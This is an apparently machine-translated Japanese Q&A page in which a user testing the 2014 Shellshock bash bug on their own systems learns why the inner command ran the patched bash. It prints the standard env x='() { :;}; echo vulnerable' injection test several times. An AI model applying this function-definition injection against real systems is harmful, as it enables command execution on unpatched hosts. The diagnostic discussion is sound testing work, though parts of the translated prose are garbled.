一貫性のないシェルショックの活用

一貫性のないシェルショックの活用

公開されたコマンドに基づいてShellshockの脆弱性を実証しようとしています。ここ

私は2つのシステムを考えました。最初のシステムには脆弱なbashがあり、$PATHもう1つにはパッチされたバージョンのbashがあり、ソースでコンパイルされたもの$PATHには「脆弱であると主張される」バージョンがありました。/opt/vulnerable

優秀最初のシステム、エラーを正常に悪用できました。

$ bash --version
GNU bash, version 4.1.2(1)-release (i386-redhat-linux-gnu)
[...]

$ cat << EOM | bash
> env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
> EOM
vulnerable
this is a test

優秀2番目のシステム、上記のように、inのパッチバージョンがあり、inのソースバージョン$PATHから最近(例えば数時間前)にbashコンパイルされたバージョンは/opt/vulnerable脆弱です。

$ bash --version
GNU bash, version 4.3.11(1)-release (i686-pc-linux-gnu)
[...]

$ /opt/vulnerable/bin/bash
GNU bash, version 4.1.0(1)-release (i686-pc-linux-gnu)
[...]

既定のバージョンから脆弱なバージョンに次のコマンドを渡しましたが、それを悪用することはできませんでした。

$ cat << EOM | /opt/vulnerable/bin/bash
> env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
> EOM
this is a test

私も試しました。これテストに使用されたスクリプトですが、脆弱性を検出できませんでした。 (このコマンドはデフォルトのパッチシェルで実行されます):

$ /opt/vulnerable/bin/bash shellshock_test.sh
CVE-2014-6271 (original shellshock): not vulnerable
CVE-2014-6277 (segfault): not vulnerable
CVE-2014-6278 (Florian's patch): not vulnerable
CVE-2014-7169 (taviso bug): not vulnerable
CVE-2014-7186 (redir_stack bug): not vulnerable
CVE-2014-7187 (nested loops off by one): not vulnerable
CVE-2014-//// (exploit 3 on http://shellshocker.net/): not vulnerable

私がここで何か間違っているのでしょうか?または、ftp.gnu.orgのすべてのbashソースアーカイブがこの脆弱性にパッチされていますか?

ベストアンサー1

$ cat << EOM | /opt/vulnerable/bin/bash
> env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
> EOM

間違った。

2行目は1bashのバージョンを使用して呼び出します。$PATH

bash使用するバージョン/opt/vulnerable/bin/bashは次のとおりです。

$ cat << EOM | /opt/vulnerable/bin/bash
> env x='() { :;}; echo vulnerable' /opt/vulnerable/bin/bash -c "echo this is a test"
> EOM

しかし、あえてbashを2回呼び出すことで、これらのパイプを使用する必要はないようです。なぜできないのですか:

$ env x='() { :;}; echo vulnerable' bash -c 'echo this is a test'

そして

$ env x='() { :;}; echo vulnerable' /opt/vulnerable/bin/bash -c 'echo this is a test'

私のシステムでvsを使ってbash確認しました。~/src/bash/bash

$ env x='() { :;}; echo vulnerable' bash -c 'echo $BASH_VERSION'
4.3.11(1)-release

$ env x='() { :;}; echo vulnerable' ~/src/bash/bash -c 'echo $BASH_VERSION'
4.3.42(1)-release

脚注:

  1. または関数、エイリアス、バージョンhashなどです。

おすすめ記事